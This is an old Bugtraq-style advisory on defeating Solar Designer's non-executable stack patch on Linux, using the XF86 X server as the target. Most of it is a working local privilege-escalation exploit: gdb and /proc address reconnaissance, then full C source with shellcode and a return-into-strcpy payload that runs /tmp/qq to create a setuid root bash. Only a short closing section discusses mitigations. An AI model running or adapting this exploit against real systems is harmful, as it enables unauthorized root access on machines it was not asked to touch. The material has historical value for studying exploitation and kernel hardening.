COMMAND
XF86 Xserver
SYSTEMS AFFECTED
Linux
PROBLEM
Remember lpr #5 or xrm exploit on Linux page (Security Bugware).
It was Solar Designer's piece of work and as fix he gave
non-executable stack patch. Rafal Wojtczuk posted following on
subject of defeating Solar Designer non-executable stack patch
(and making exploits). Note that whole message will not be
presented here (check http://www.geek-girl.com/bugtraq/ for more).
Example target will be XF86 Xserver. Exploit goes as follows: we
fill a buffer with the pattern:
------------------------------ <------------- stack grows this way
| STRCPY | DEST | DEST | SRC |
------------------------------ memory addresses grow this way ------->
where STRCPY is an address of strcpy PLT entry, DEST is a place
in a data segment where we will place shellcode and SRC points
into a environ variable containing a shellcode We want to
overwrite return address on the stack with STRCPY field; then
strcpy will copy shellcode to DEST. Instruction ret from strcpy
will pop the first DEST, and control will be passed there.
Let's gather some info then. We will need a non-suid copy of X
server; if it is mode rws--x--x on your system, you can get it
from www.redhat.com and enjoy. It must be exactly the same
version,though.
$ gdb myX
... lots of stuff ...
(gdb) p strcpy
$1 = {<text variable, no debug info>} 0x8066a18 <strcpy> <-- first number we need
(gdb) b main
Breakpoint 1 at 0x80df5e8
(gdb) r
Starting program: myX
warning: Unable to find dynamic linker breakpoint function.
warning: GDB will be unable to debug shared library initializers
warning: and track explicitly loaded dynamic code.
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x80df5e8 in main ()
In another window (1515 is the pid of X server )
$ cat /proc/1515/maps
00110000-00115000 rwxp 00000000 03:07 20162
00115000-00116000 rw-p 00004000 03:07 20162
00116000-00117000 rw-p 00000000 00:00 0
00118000-0011e000 r-xp 00000000 03:07 20171
0011e000-00120000 rw-p 00005000 03:07 20171
00120000-00122000 rwxp 00000000 03:07 20169
00122000-00123000 rw-p 00001000 03:07 20169
00123000-001b6000 r-xp 00000000 03:07 20165 <-- libc is mapped here
001b6000-001bc000 rw-p 00092000 03:07 20165
001bc000-001ee000 rw-p 00000000 00:00 0
08048000-08223000 r-xp 00000000 03:07 50749
08223000-08230000 rw-p 001da000 03:07 50749 <-- here resides data; our second number is found
08230000-08242000 rwxp 00000000 00:00 0 <-- these addresses would do as well
bfffe000-c0000000 rwxp fffff000 00:00 0 <-- and these wouldn't ;)
Last hint - X server uses file descriptor 0 for its own purposes,
so instead of spawning a root shell we will execute a program in
/tmp/qq ( which should make a root suid copy of bash ). Now kill
gdb session, compile and run the following
/*
Exploit no 1 for Solar Designer patch
by nergal@icm.edu.pl
This code is meant for educational and entertaining purposes only.
You can distribute it freely provided credits are given.
*/
#include <stdio.h>
/* change the following 0 if the code doesn't work */
#define OFFSET 0
#define BUFFER_SIZE 370
#define EGG_SIZE 2048
#define NOP 0x90
/* any address in data segment */
#define DEST 0x08223038
/* strcpy linkage table entry */
#define STRCPY 0x08066a18
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/qq";
char buf[BUFFER_SIZE];
char egg[EGG_SIZE];
char pattern[16];
void main(int argc, char **argv)
{
/* try alignment in 3..18; three worked for me */
int i, align = 3;
int src = (int) &src - OFFSET; /* formerly known as get_sp() :) */
if (argc == 2)
align = atoi(argv[1]);
*(int *) pattern = STRCPY;
*(int *) (pattern + 4) = DEST;
*(int *) (pattern + 8) = DEST;
*(int *) (pattern + 12) = src;
for (i = 0; i <= 15; i++)
if (pattern[i] == 0) {
printf("zero in pattern (%i)\n", i);
exit(1);
}
memset(buf, ' ', BUFFER_SIZE);
buf[BUFFER_SIZE - 1] = 0;
buf[0] = ':';
buf[1] = '9';
for (i = align; i < BUFFER_SIZE - 16; i += 16)
memcpy(buf + i, pattern, 16);
memset(egg, NOP, EGG_SIZE);
strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode);
strncpy(egg, "EGG=", 4);
putenv(egg);
execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0);
perror("execl");
}
In Designer exploits, a shell was invoked using "system" call,
which after completion returns onto the stack (and segfaults).
This caused exploit attempt logging. In this exploit we execute
our code using execve, so everything is clean and tidy.
SOLUTION
First idea is to patch kernel so that instructions in data segment
cannot be executed. Solar Designer patch does simply:
(retaddr & 0xF0000000) == 0xB0000000
comparison to detect whether code is returning into stack; it
would be a time-consuming job to check if we're returning into a
data segment. Anyway, we are barking a wrong tree here. If we are
satisfied with simple system("/tmp/evilcode"), we don't need
executable data segment at all. Well, if
a) we can protect data segments from being executed
b) we force LD_BIND_NOW - like dynamic linking, which enables
us to mprotect GOT non-writable
exploit will fail.